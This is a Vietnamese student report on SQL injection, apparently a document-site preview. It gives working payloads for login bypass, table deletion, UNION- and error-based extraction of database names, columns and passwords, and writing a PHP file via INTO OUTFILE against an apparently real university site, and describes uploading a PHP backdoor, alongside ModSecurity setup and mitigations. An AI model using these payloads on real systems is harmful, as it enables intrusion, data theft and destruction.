1. Trang chủ
  2. » Luận Văn - Báo Cáo

Tiểu Luận Tấn công SQL Injection Bảo mật internet

25 1,6K 3

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 25
Dung lượng 8,49 MB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Đề tài: Tấn công lỗ hổng SQL Injection Tổng quan về đề tài Khái niệm về ứng dụng web và các giao thức web Tổng quan về sQL Injection: Các dạng tấn công và cách ngăn chặn tấn công Ưu điểm và nhược điểm của dạng tấn công SQL Injection Các phương pháp tấn công phổ biến vào lỗ hổng SQL Injection Kết luận

Trang 1

ĐẠI HỌC QUỐC GIA THÀNH PHỐ HỒ CHÍ MINH TRƯỜNG ĐẠI HỌC CÔNG NGHỆ THÔNG TIN

ĐỀ TÀI: SQL INJECTION

Giảng viên hướng dẫn : ThS Nguyễn Duy Sinh viên thực hiện:

Mai Tiến Dũng 12520085Đinh Tiến Duy 12520097

Vũ Khải Hoàn 12520151Phạm Văn Hùng 12520162

Tp Hồ Chí Minh, ngày 01 tháng 05 năm 2016

ĐỒ ÁN

Trang 3

Mục lục

I Tìm hiểu về SQL Injection 4

1 Khái quát 4

2 Hậu quả 4

II Các dạng tấn công SQL Injection 4

1 Tấn công mệnh đề luôn đúng 4

2 Tấn công phá hoại dữ liệu 6

3 Tấn công khai thác dữ liệu 6

III Khai thác lỗ hổng SQL Injection 6

1 Tìm lỗ hổng SQL Injection 6

2 Các loại hình thức tấn công SQL Injection 8

3 Khai thác lỗi SQL Injection thông qua phương thức GET 8

4 Khai thác lỗ hổng SQL Injection thông qua phương thức POST 14

5 Một số khai thác khác thông qua SQL Injection 20

IV Kiểm tra lỗ hổng SQL Injection 23

1 Giới thiệu 23

2 Acunetix web vulnerability scanner 23

V Ngăn chặn tấn công SQL Injection với ModSecurity 24

1 Cài đặt 24

2 Kiểm tra hoạt động ModSecurity trước khi kích hoạt 24

3 Kiểm tra hoạt động ModSecurity sau khi kích hoạt 25

VI Ưu điểm 26

1 Ưu điểm 26

2 Nhược điểm 26

3 Phương pháp khắc phục 26

4 Nguồn tham khảo 26

Trang 4

I Tìm hiểu về SQL Injection.

1 Khái quát.

SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject và thi hành các câu lệnh SQL bất hợp pháp

Đây là lỗ hổng thường gặp nhất của các website trên internet và nằm trong 10 lỗ hổng hàng đầu của OWASP Lỗ hổng này nằm trong các ứngdụng web chứ không phải vấn đề ở cơ sở dữ liệu hay web server Hầu hếtcác lỗi này xuất phát từ lập trình viên

2 Hậu quả.

SQL injection có thể cho phép những kẻ tấn công thực hiện các thao tác select, delete, insert, update trái phép vào cơ sở dữ liệu của server đó đang chạy

II Các dạng tấn công SQL Injection.

Thử tài khoản đăng nhập và mật khẩu bằng: 'or ''=', thì cầu truy vấn sẽ

thành 1 câu như sau:

select username,pass from users where username='' or ''='' and

password='' or ''=''

Do mệnh đề luôn đúng nên dễ dàng đăng nhập tài khoản

Trang 6

last_ip FROM ".TABLEPREFIX."_admin WHERE

admin_name='$adminname' AND password='$password' AND

status='1'";

Sửa lỗi:

$adminname=mysql_real_escape_string(trim($_POST['adminname']));

$password=mysql_real_escape_string(trim($_POST['password']));

2 Tấn công phá hoại dữ liệu.

Giả sử câu lệnh cũng như trên, nhưng không nhập 'or ''=' nữa mà thêm như sau:

' ; DROP table table_name'

select username,pass from users where username=$uname and

password='' ; DROP table table_name ''

Với câu lệnh trên, sau khi lấy ra thông tin user, nó sẽ thực thi lệnh xóa đi một table được chỉ định muốn xoá

Ngoài ra còn có thể thực hiện câu lệnh insert, update … vào cơ sở dữ liệu bị dính lỗ hổng

3 Tấn công khai thác dữ liệu.

Là dạng tấn công khá phổ biến của SQL Injection Giả sử có đoạn code

php: "select * from users where id="+$id;

Muốn lấy giá trị $id cần sử dụng phương pháp GET trong php Nếu cố

tình nhập vào trình duyệt: 1' union select 1,version(),3

-Với câu truy vần này, đoạn mã php sẽ thực hiện và lộ thông tin phiên bảncủa cở sở dữ liệu Tiếp đó, lỗi này sẽ bị lợi dụng và khai thác lấy thông tin

III Khai thác lỗ hổng SQL Injection.

1 Tìm lỗ hổng SQL Injection.

Trang 7

Thử thêm dấu nháy đơn ' hoặc nháy kép " vào đường dẫn trên:

http://website.com/index.php?id=1'

Nếu bạn thấy dòng thông báo tương tự:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in

hoặc xuất hiện: You have an error in your SQL syntax; check the manual

that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

hoặc trang bị trắng tức là website của bạn đang bị lỗi SQL injection

Trang 8

2 Các loại hình thức tấn công SQL Injection.

3 Khai thác lỗi SQL Injection thông qua phương thức GET.

 Tìm lỗ hổng SQL Injection

Tiến hành chọn website để kiểm tra

Trang 9

Thêm dấu phẩy vào nơi kiểm tra.

Do website báo lỗi truy vấn nên xác định website này dính SQL Injection

 Đếm số cột trong bảng

Để có thể đếm được số cột trong bảng, ta sử dụng lệnh order by Bắt

đầu bằng lệnh order by

1 Tiếp tục dùng lệnh order by cho đến khi xuất hiện lỗi truy vấn

Kết luận: như vậy bảng có 3 cột

Để xác định chính xác những cột nào được gọi trong truy vấn, ta sẽ sử

dụng “union” Chèn đoạn truy vấn “union select 1,2,3 ”, ta sẽ xác

Trang 10

định được chính xác những cột được gọi Những số tương ứng với cáccột được gọi sẽ xuất hiện ở những vị trí mà giá trị được in ra.

Sau khi thực hiện, website trả về số 2, như vậy tại số 2 là nơi khai tháclỗi

 Lấy thông tin phiên bản cơ sở dữ liệu MYSQL đang chạy

Sử dụng lệnh: union select 1,version(),3 để lấy thông tin phên bản

MYSQL đang chạy

Trang 11

Ở MySQL, chỉ các phiên bản từ 5.0 trở lên sẽ có một cơ sở dữ liệu là information_schema Cơ sở dữ liệu này chứa tất cả thông tin về các cơ

sở dữ liệu khác trong hệ thống, các bảng, các cột, các mối quan hệ trong các cơ sở dữ liệu đó Vì vậy, ta sẽ tìm cách truy vấn vào cơ sở

dữ liệu information_schema để lấy được tên các bảng trong cơ sở dữ liệu muốn lấy thông tin

 Lấy thông tin tên database hiện tại của website bị dính lỗi SQL

Injection

Dùng lệnh: union select 1,database(),3 From

Information_schema.tables để tiến hành lấy tên database.

Trang 12

Tên database là: ktkt.

 Lấy tất cả các tên table

Dùng lệnh: union select 1, unhex(hex(group_concat(table_name))),3

From Information_schema.tables where

table_schema=0x6b746b74 để tiến hành lấy tất cả các tên table

Trang 13

Do table hiện nhiều, sử dụng chức năng xem mã nguồn để xem table

đã bị khai thác được Trong đó table “user” là table quan trọng

 Lấy tất cả các colum trong table

Dùng lệnh: union select 1,

unhex(hex(group_concat(column_name))),3 From

Information_schema.columns where table_schema=0x6b746b74 and table_name=0x75736572

Sau khi khac thác, website hiện 3 columns là

“userID,username,password” Ta tiến hành lấy dữ liệu để xem

Trang 14

ktkt.user  Tiến hành đăng nhập vào trang quản trị.

4 Khai thác lỗ hổng SQL Injection thông qua phương thức POST.

 Tìm lỗ hổng SQL Injection

Tiến hành chọn website để kiểm tra Khác với phương thức GET, phương thức POST cần có công cụ để bắt lấy phương thức POST Ở trong bài này, nhóm dùng addon Live HTTP Headers của Firefox để bắt lấy phương thức POST, dùng Hack Bar để thực thi phương thức POST, dùng dấu phẩy để kiểm tra lỗ hổng SQL Injection

Do website báo lỗi truy vấn nên xác định website này dính SQL Injection Với thông báo trên, dùng phương pháp xPath SQL Injectionhoặc Error Based SQL Injection để khai thác Trong bài này kết hợp

cả hai phương pháp trên

 Lấy thông tin phiên bản cơ sở dữ liệu MYSQL đang chạy

Trang 15

Dùng lệnh: and extractvalue(rand(),concat(0x0a,version())) - để lấy

phiên bản cơ sở dữ liệu đang chạy

 Lấy thông tin tên database hiện tại của website bị dính lỗi SQL

Injection

Dùng lệnh: and extractvalue(rand(),concat(0x0a,database())) - để

lấy tên cơ sở dữ liệu đang khai thác

 Lấy tất thông tin tên table

Dùng lệnh: and extractvalue(rand(),concat(0x0a,(select

concat(table_name) from information_schema.tables where

table_schema=database() limit 0,1))) - để lấy tên table Tuy nhiên

do dùng limit nên chỉ lấy được một table và để lấy table cần lấy, cần phải nâng limit lên Ở đây cần lấy table “users” thì cần limit 180,1

and extractvalue(rand(),concat(0x0a,(select concat(table_name) from information_schema.tables where table_schema=database() limit 180,1))) -

Trang 16

 Lấy thông tin column trong table.

Dùng lệnh: and extractvalue(rand(),concat(0x0a,(select

concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit

Trang 17

0,1))) - để lấy từng column một, với 0x7573657273 là mã hex của

users Để lấy hết column, cần phải nâng limit lên

 Lấy thông tin tên đăng nhập và mật khẩu

Trang 18

Lấy column password dùng lệnh: and (select 1 FROM(select

count(*),concat((select concat(0x3a,password) FROM users LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP

BY x)b)

-Lấy column password_salt dùng lệnh: and (select 1 FROM(select

count(*),concat((select concat(0x3a,password_salt) FROM users LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)b) -

Trang 19

Nâng limit lên để lấy tiếp các thông tin khai thác.

(Hình trên khai thác Error Based SQL Injection)

5 Một số khai thác khác thông qua SQL Injection

Trang 20

Cũng như trường hợp đọc, khi đủ quyền lỗ hổng SQL Injection cho phép chúng ta ghi được tập tin Tuy nhiên để thực hiện điều này,m chúng ta cần biết rõ đường lưu trữ đúng trên ổ cứng.

Vd: http://khoaketoan.ufm.edu.vn/user/viewdetails.php?

lang=vn&mn=ttuc&type=0&id=-228 UNION SELECT 1,"<?php echo 'test';?>",3 INTO OUTFILE "E:\webcode\WEBSITE_UFM\khoaketoan\test.php"

 Upload php backdoor qua trang quản trị, thực hiện chỉnh sửa code và thực thi lệnh SQL

Do trang quản trị chỉ cho tải lên tập tin định dạng đuôi ảnh, do đó cần

sử dụng addon của trình duyệt firefox: “Live HTTP headers”, nhằm bắt lấy phương thức POST và sau đó gửi lại với định dạng php để chạy backdoor Trong php backdoor có nhiều chức năng, trong đó có công cụ chỉnh sửa tập tin và công cụ “MYSQL Manager” dùng thực thi các câu lệnh MYSQL

Trang 22

IV Kiểm tra lỗ hổng SQL Injection

1 Giới thiệu

Công cụ kiểm tra SQL Injection giúp các lập trình viên ra soát lại lỗ hổngnày, đồng thời giúp các quản trị viên tím kiếm và sửa lỗi Một số công cụkiểm tra lỗ hổng SQL Injection như: Acunetix web vulnerability scanner,N-Stalker Web Application Security Scanner, WSSA - Web Site SecurityScanning Service, GreenSQL Database Security…

2 Acunetix web vulnerability scanner

Đây là công cụ quét có hỗ trợ nhiều lỗ hổng, trong đó có SQL Injection

Trang 23

Ngoài ra, công cụ này tạo bản báo cáo rất chi tiết sau khi quét.

V Ngăn chặn tấn công SQL Injection với ModSecurity.

https://dl.fedoraproject.org/pub/epel/epel-release-Cài ModSecurity dùng lệnh: yum install mod_security

Do trong ModSecurity còn hạn chế về rule nên nhóm tải và cài thêm rule:https://github.com/SpiderLabs/owasp-modsecurity-crs

Bung và giải nén tại thư mục: /etc/httpd/conf.d/

Đổi tên: modsecurity_crs_10_setup.conf.example thành tên khác, trong này nhóm đổi thành modsecurity_crs_10_setup.conf; và nhóm có đổi thư mục owasp-modsecurity-crs thành owasp-modsecurity

Vào /etc/httpd/conf.d/mod_security.conf thêm Include

modsecurity-crs/modsecurity_crs_10_setup.conf và Include

owasp-modsecurity-crs/base_rules/*.conf

2 Kiểm tra hoạt động ModSecurity trước khi kích hoạt.

Kiểm tra SQL Injection bằng cách thêm dấu phẩy

Trang 24

3 Kiểm tra hoạt động ModSecurity sau khi kích hoạt.

Trang 25

VI Ưu điểm.

1 Ưu điểm.

 Lỗ hổng SQL injection là lỗ hổng thường gặp trên các website

 Có nhiều công cụ hỗ trợ trong việc quét lỗi và tấn công

 Kỹ thuật tấn công đa dạng

 Có thể làm bàn đạp để thực hiện các cuộc tấn công khác

2 Nhược điểm.

 Yêu cầu kiến thức sâu về ngôn ngữ web, server scripting và database

 Các loại tấn công phức tạp như Blind SQL injection đòi hỏi người tấn công phải có kinh nghiệm nhiều

 Nếu gặp phải Web Application Firewall đòi hỏi phải có kĩ thuật

chuyên sâu

3 Phương pháp khắc phục.

Kiểm tra thông tin đăng nhập, giới hạn độ dài chuỗi đăng nhập

Password nên lưu ở dạng hash

Dùng tool để quét tìm lỗi SQL injection như MS Source Code Analyzer,

MS UrlScan, dotDefender, IBM AppScan,…

Xây dựng các rule WAF mạnh nhằm hạn chế SQL Injection

4 Nguồn tham khảo

Ngày đăng: 08/12/2016, 22:00

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w